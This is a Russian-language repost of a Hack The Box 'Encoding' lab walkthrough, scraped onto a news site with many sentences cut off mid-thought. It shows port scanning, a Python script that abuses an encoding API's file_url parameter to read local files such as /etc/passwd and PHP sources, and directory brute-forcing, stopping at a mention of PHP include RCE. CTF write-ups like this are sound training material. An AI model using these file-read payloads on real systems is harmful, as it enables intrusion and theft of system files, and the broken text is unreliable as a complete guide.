Категория > Новости > HTB Encoding. Эксплуатируем Git-репозиторий - «Новости»
HTB Encoding. Эксплуатируем Git-репозиторий - «Новости»19-04-2023, 00:00. Автор: Александр |
Hack The Box. Уровень сложности — средний.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в 10.10.11.198 encoding.htbИ запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Мы нашли два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Apache 2.4.52. Больше ничего интересного в результатах сканирования нет, поэтому идем изучать веб‑сервер. Главная страница сайта encoding.htb Точка входаБеглый просмотр сайта выводит нас на API, который работает на отдельном поддомене. Добавляем новый поддомен в файл 10.10.11.198 encoding.htb haxtables.htb api.haxtables.htbСтраница APIОбрати внимание, что запрашиваемая страница передается в параметре Код для кодирования файла Немного подправим код, чтобы после получения закодированного файла обработать ответ и декодировать файл. import requestsimport jsonimport base64json_data = {'action': 'b64encode','file_url' : 'http://10.10.14.78/test.txt'}response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)data = json.loads(response.text.strip())print(base64.b64decode(data["data"]).decode())А теперь запросим файл со своего веб‑сервера: python3 -m http.server 80Логи веб‑сервера![]() Код работает, файл по ссылке получен. А теперь пробуем изменить протокол с 'file_url' : 'file:///etc/passwd'Содержимое файла /etc/passwdИ получаем возможность читать произвольные файлы. Точка опорыЧтение произвольных файловЧтобы прочитать файлы сайта, нам нужно знать путь к корневому каталогу. В этом нам поможет файл конфигурации веб‑сервера. 'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'Содержимое файла /etc/apache2/sites-enabled/000-default.confВ итоге получаем пути к корневым каталогам трех сайтов. Добавляем запись для поддомена 10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.haxtables.htbПервым делом читаем файл 'file_url' : 'file:///var/www/image/index.php'![]() Раскрываем новый подключаемый файл 'file_url' : 'file:///var/www/image/utils.php'Содержимое файла image/utils.phpИзучая исходный код, отмечаем для себя, что в каталоге есть репозиторий Git. Давай найдем способ скачать его весь. GitДля дампа всего репозитория можно использовать утилиту Dumper. Но так как мы читаем файлы не напрямую, а через уязвимость на сервере, скрипт нужно немного модернизировать. Найдем команду, где выполняется запрос с помощью curl. Команда запроса к веб‑серверу Изменим ее для работы через сервис кодирования. Теперь запускаем скрипт и получаем весь репозиторий. Результат работы скрипта Для анализа Git я обычно использую программу gitk. Запускаем ее из директории, где содержится каталог Репозиторий в gitk Сразу обращаем внимание на 'file_url' : 'file:///var/www/image/actions/action_handler.php'Содержимое файла action_handler.phpИ видим очень опасное использование функции Ничего интересного больше найти не получилось, поэтому вернемся к первому сайту и просканируем файлы PHP с помощью feroxbuster. feroxbuster -uhttp://haxtables.htb/-wphp_files_common.txt -d 1Результат сканирования файлов PHPНаходим файл 'file_url' : 'file:///var/www/html/handler.php'Содержимое файла handler.phpСервер обрабатывает параметр 'file_url' : 'file:///var/www/api/utils.php'Содержимое файла api/utils.phpЭта функция нужна для отправки запроса на указанный URL. Вот мы и узнали способ выполнить запрос к PHP include RCEПерейти обратно к новости |